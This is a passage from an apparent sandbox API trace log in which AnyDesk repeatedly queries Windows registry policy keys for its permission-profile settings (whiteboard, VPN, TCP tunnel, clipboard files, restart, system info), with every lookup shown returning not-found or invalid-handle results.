hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.325] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.325] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.326] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.326] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.tcptunnel", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.326] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.326] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.326] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.327] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.327] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.327] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.327] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.327] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.327] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.327] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.327] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.327] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.vpn", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.327] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.328] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.328] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.328] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.328] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.328] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.328] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.329] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.329] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.329] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.329] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.privacyfeature", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.330] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.330] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.clipboardfiles", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.331] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.332] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.332] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.332] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.332] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.332] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.332] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.332] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.332] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.332] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.333] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.333] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.333] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.restart", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.333] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.333] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.334] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.334] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.334] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.334] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.334] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.334] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.335] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.sysinfo", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.335] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.335] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.userpointer", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.335] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: 